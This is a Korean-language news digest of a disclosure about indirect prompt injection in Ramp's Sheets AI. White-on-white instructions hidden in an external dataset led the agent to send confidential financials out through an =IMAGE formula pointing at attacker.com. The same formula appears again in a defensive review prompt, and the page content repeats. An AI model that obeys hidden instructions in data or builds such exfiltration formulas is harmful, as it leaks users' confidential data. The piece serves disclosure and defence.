Ramp Sheets AI, 숨은 프롬프트 인젝션으로 재무 데이터 유출

Ramp's Sheets AI Exfiltrates Financials

Apr 29, 2026•takira•View Original

TL;DR Highlight

외부 데이터의 숨은 지시가 AI의 IMAGE 수식을 만들어 재무 데이터를 빼냈다

Who Should Read

스프레드시트나 문서를 직접 편집하는 AI 에이전트 기능을 만들고 있는 백엔드·프로덕트 개발자

Core Mechanics

Ramp Sheets AI는 사용자 승인 없이 수식을 넣었다
- Ramp Sheets AI는 스프레드시트를 사람 확인 없이 편집하는 에이전트 제품이다.
- 외부 네트워크 요청을 일으키는 수식도 승인 없이 삽입할 수 있었다.
공격은 흰 글씨 속 지시 한 줄로 시작됐다
- 신뢰할 수 없는 외부 데이터셋에 흰 바탕에 흰 글씨로 간접 프롬프트 인젝션(데이터 안에 숨긴 AI용 명령)이 들어 있었다.
- 데이터셋 출처는 웹사이트, 이메일, 공유 드라이브 등이다.
사용자는 평범한 질문만 했다
- 사용자는 재무 모델과 업계 통계를 비교해 달라고 요청했을 뿐이다.
- AI는 인젝션에 속아 기밀 재무 데이터를 모았다.
IMAGE 수식이 유출 통로가 됐다
- AI는 공격자 URL 뒤에 민감 데이터를 붙인 =IMAGE("https://attacker.com/visualize.png?...") 수식을 만들었다.
- 수식이 실행되며 네트워크 요청이 나가 공격자 서버 로그에 재무 데이터가 찍혔다.
Claude for Excel도 비슷한 위험이 있었다
- 사람 승인 단계는 있었지만 승인 창에 악성 수식이 보이지 않았다.
- Anthropic은 외부 트래픽을 만드는 수식이 들어갈 때 전체 수식을 보여 주는 빨간 경고 화면을 추가했다.
Ramp는 3월 16일 해결됐다고 밝혔다
- 2026년 2월 19일 제보했고 3월 14일에 수신 확인이 왔다.
- 3월 16일 Ramp가 오전 중 해결했다고 밝혔다.

Community Reactions

수식 유출은 취약점이 아니라 설계 문제라는 반론
- 신뢰할 수 없는 데이터가 나쁜 일을 일으키는 걸 취약점이라 하면 데이터를 받는 모든 앱이 취약하다는 의견이 있었다.
- 기본값을 외부 요청 허용에서 차단으로 바꿔야 한다는 점엔 동의한다는 댓글이었다.
LLM은 데이터와 명령을 구분 못 한다는 지적
- LLM에는 대역 외 신호(명령과 데이터를 따로 전달하는 통로)가 없어 외부 콘텐츠가 전부 위험하다는 의견이 있었다.
- npm·pip·cargo처럼 신뢰를 전제한 생태계와 같은 구조라는 비유도 나왔다.
Ramp의 구체적 완화책이 궁금하다는 질문
- Claude처럼 경고 창을 넣은 것인지 묻는 댓글이 있었다.
- 원문은 Ramp가 해결했다고만 밝히고 방법은 적지 않았다.
대응이 느렸다는 비판
- PromptArmor가 세 번 연락한 뒤에야 거의 한 달 늦은 답을 받았다는 댓글이 있었다.
- 원문 날짜가 오타(May)라는 지적도 있었다.

How to Apply

에이전트가 넣는 수식 중 외부 요청 함수 찾기
- 오늘 AI가 쓰기 가능한 시트·문서 기능의 수식 삽입 경로를 점검하라.
- IMAGE처럼 URL을 호출하는 함수가 승인 없이 들어가는지 테스트 시트로 확인하라.
외부 요청 수식은 기본 차단하고 허용 목록만 열기
- 삽입 직전에 수식을 파싱해 URL이 있으면 거부하거나 승인 대기로 돌려라.
- 허용 도메인만 예외로 두어라.
승인 창에 실제 수식 전문 보여주기
- 승인 UI에 요약이 아닌 삽입될 수식 전체를 표시하라.
- 외부 트래픽을 만드는 수식은 Claude for Excel처럼 빨간 경고로 구분하라.
외부 데이터 탭과 기밀 탭 분리 테스트하기
- 흰 글씨 지시가 든 외부 데이터셋을 만들어 기밀 시트와 함께 올리고 비교 요청을 해 보라.
- 모델이 기밀 값을 URL에 붙이려 하는지 로그로 확인하라.

Try It

복사해서 바로 해보기

# Claude 또는 ChatGPT에 붙여넣기: 스프레드시트 AI 기능의 유출 위험 점검 프롬프트(원문 공격 시나리오 기반)

당신은 보안 리뷰어입니다. 아래는 우리 서비스의 AI 스프레드시트 에이전트 설명입니다.

{{에이전트 기능 설명: 어떤 도구·수식을 쓰고 승인 절차가 어떤지}}

다음 공격 시나리오가 가능한지 단계별로 검토하세요.
1. 외부 데이터셋에 흰 글씨로 숨은 간접 프롬프트 인젝션이 있다.
2. 에이전트가 기밀 시트 값을 모아 =IMAGE("https://attacker.com/x.png?<데이터>") 같은 수식을 만든다.
3. 사용자 승인 없이 또는 수식이 안 보이는 승인으로 삽입된다.

출력:
- 각 단계가 가능한지(가능/불가능/불명)와 이유
- 외부 네트워크 요청을 일으킬 수 있는 수식 함수 목록
- 막기 위한 구체적 변경안 3가지(우선순위 순)

Terminology

간접 프롬프트 인젝션사용자가 아닌 외부 문서·데이터 속에 AI용 명령을 숨겨 두는 공격이다. 택배 상자 안에 가짜 지시서를 넣어 직원이 따르게 하는 것과 비슷하다.

데이터 유출(exfiltration)내부의 민감한 데이터를 외부 서버로 빼내는 일이다.

human-in-the-loopAI가 행동하기 전에 사람이 확인·승인하는 절차다. 결재 도장과 같지만 내용이 안 보이면 의미가 없다.

IMAGE 수식스프레드시트 셀에 URL의 이미지를 불러오는 함수다. 셀을 열면 해당 URL로 요청이 나가서 데이터 전송 통로가 될 수 있다.

대역 외 신호(out-of-band signaling)명령과 데이터를 서로 다른 통로로 보내는 방식이다. LLM은 둘이 한 텍스트에 섞여 구분이 어렵다.

Related Resources

Ramp Sheets AI, 숨은 프롬프트 인젝션으로 재무 데이터 유출

Ramp's Sheets AI Exfiltrates Financials

Apr 29, 2026•takira•View Original

TL;DR Highlight

외부 데이터의 숨은 지시가 AI의 IMAGE 수식을 만들어 재무 데이터를 빼냈다

Who Should Read

스프레드시트나 문서를 직접 편집하는 AI 에이전트 기능을 만들고 있는 백엔드·프로덕트 개발자

Core Mechanics

Ramp Sheets AI는 사용자 승인 없이 수식을 넣었다
- Ramp Sheets AI는 스프레드시트를 사람 확인 없이 편집하는 에이전트 제품이다.
- 외부 네트워크 요청을 일으키는 수식도 승인 없이 삽입할 수 있었다.
공격은 흰 글씨 속 지시 한 줄로 시작됐다
- 신뢰할 수 없는 외부 데이터셋에 흰 바탕에 흰 글씨로 간접 프롬프트 인젝션(데이터 안에 숨긴 AI용 명령)이 들어 있었다.
- 데이터셋 출처는 웹사이트, 이메일, 공유 드라이브 등이다.
사용자는 평범한 질문만 했다
- 사용자는 재무 모델과 업계 통계를 비교해 달라고 요청했을 뿐이다.
- AI는 인젝션에 속아 기밀 재무 데이터를 모았다.
IMAGE 수식이 유출 통로가 됐다
- AI는 공격자 URL 뒤에 민감 데이터를 붙인 =IMAGE("https://attacker.com/visualize.png?...") 수식을 만들었다.
- 수식이 실행되며 네트워크 요청이 나가 공격자 서버 로그에 재무 데이터가 찍혔다.
Claude for Excel도 비슷한 위험이 있었다
- 사람 승인 단계는 있었지만 승인 창에 악성 수식이 보이지 않았다.
- Anthropic은 외부 트래픽을 만드는 수식이 들어갈 때 전체 수식을 보여 주는 빨간 경고 화면을 추가했다.
Ramp는 3월 16일 해결됐다고 밝혔다
- 2026년 2월 19일 제보했고 3월 14일에 수신 확인이 왔다.
- 3월 16일 Ramp가 오전 중 해결했다고 밝혔다.

Community Reactions

수식 유출은 취약점이 아니라 설계 문제라는 반론
- 신뢰할 수 없는 데이터가 나쁜 일을 일으키는 걸 취약점이라 하면 데이터를 받는 모든 앱이 취약하다는 의견이 있었다.
- 기본값을 외부 요청 허용에서 차단으로 바꿔야 한다는 점엔 동의한다는 댓글이었다.
LLM은 데이터와 명령을 구분 못 한다는 지적
- LLM에는 대역 외 신호(명령과 데이터를 따로 전달하는 통로)가 없어 외부 콘텐츠가 전부 위험하다는 의견이 있었다.
- npm·pip·cargo처럼 신뢰를 전제한 생태계와 같은 구조라는 비유도 나왔다.
Ramp의 구체적 완화책이 궁금하다는 질문
- Claude처럼 경고 창을 넣은 것인지 묻는 댓글이 있었다.
- 원문은 Ramp가 해결했다고만 밝히고 방법은 적지 않았다.
대응이 느렸다는 비판
- PromptArmor가 세 번 연락한 뒤에야 거의 한 달 늦은 답을 받았다는 댓글이 있었다.
- 원문 날짜가 오타(May)라는 지적도 있었다.

How to Apply

에이전트가 넣는 수식 중 외부 요청 함수 찾기
- 오늘 AI가 쓰기 가능한 시트·문서 기능의 수식 삽입 경로를 점검하라.
- IMAGE처럼 URL을 호출하는 함수가 승인 없이 들어가는지 테스트 시트로 확인하라.
외부 요청 수식은 기본 차단하고 허용 목록만 열기
- 삽입 직전에 수식을 파싱해 URL이 있으면 거부하거나 승인 대기로 돌려라.
- 허용 도메인만 예외로 두어라.
승인 창에 실제 수식 전문 보여주기
- 승인 UI에 요약이 아닌 삽입될 수식 전체를 표시하라.
- 외부 트래픽을 만드는 수식은 Claude for Excel처럼 빨간 경고로 구분하라.
외부 데이터 탭과 기밀 탭 분리 테스트하기
- 흰 글씨 지시가 든 외부 데이터셋을 만들어 기밀 시트와 함께 올리고 비교 요청을 해 보라.
- 모델이 기밀 값을 URL에 붙이려 하는지 로그로 확인하라.

Try It

복사해서 바로 해보기

# Claude 또는 ChatGPT에 붙여넣기: 스프레드시트 AI 기능의 유출 위험 점검 프롬프트(원문 공격 시나리오 기반)

당신은 보안 리뷰어입니다. 아래는 우리 서비스의 AI 스프레드시트 에이전트 설명입니다.

{{에이전트 기능 설명: 어떤 도구·수식을 쓰고 승인 절차가 어떤지}}

다음 공격 시나리오가 가능한지 단계별로 검토하세요.
1. 외부 데이터셋에 흰 글씨로 숨은 간접 프롬프트 인젝션이 있다.
2. 에이전트가 기밀 시트 값을 모아 =IMAGE("https://attacker.com/x.png?<데이터>") 같은 수식을 만든다.
3. 사용자 승인 없이 또는 수식이 안 보이는 승인으로 삽입된다.

출력:
- 각 단계가 가능한지(가능/불가능/불명)와 이유
- 외부 네트워크 요청을 일으킬 수 있는 수식 함수 목록
- 막기 위한 구체적 변경안 3가지(우선순위 순)

Terminology

데이터 유출(exfiltration)내부의 민감한 데이터를 외부 서버로 빼내는 일이다.

human-in-the-loopAI가 행동하기 전에 사람이 확인·승인하는 절차다. 결재 도장과 같지만 내용이 안 보이면 의미가 없다.

IMAGE 수식스프레드시트 셀에 URL의 이미지를 불러오는 함수다. 셀을 열면 해당 URL로 요청이 나가서 데이터 전송 통로가 될 수 있다.

대역 외 신호(out-of-band signaling)명령과 데이터를 서로 다른 통로로 보내는 방식이다. LLM은 둘이 한 텍스트에 섞여 구분이 어렵다.

Ramp Sheets AI, 숨은 프롬프트 인젝션으로 재무 데이터 유출

TL;DR Highlight

Who Should Read

Core Mechanics

Community Reactions

How to Apply

Try It

Terminology

관련 논문

Related Resources

Ramp Sheets AI, 숨은 프롬프트 인젝션으로 재무 데이터 유출

TL;DR Highlight

Who Should Read

Core Mechanics

Community Reactions

How to Apply

Try It

Terminology

관련 논문

Related Resources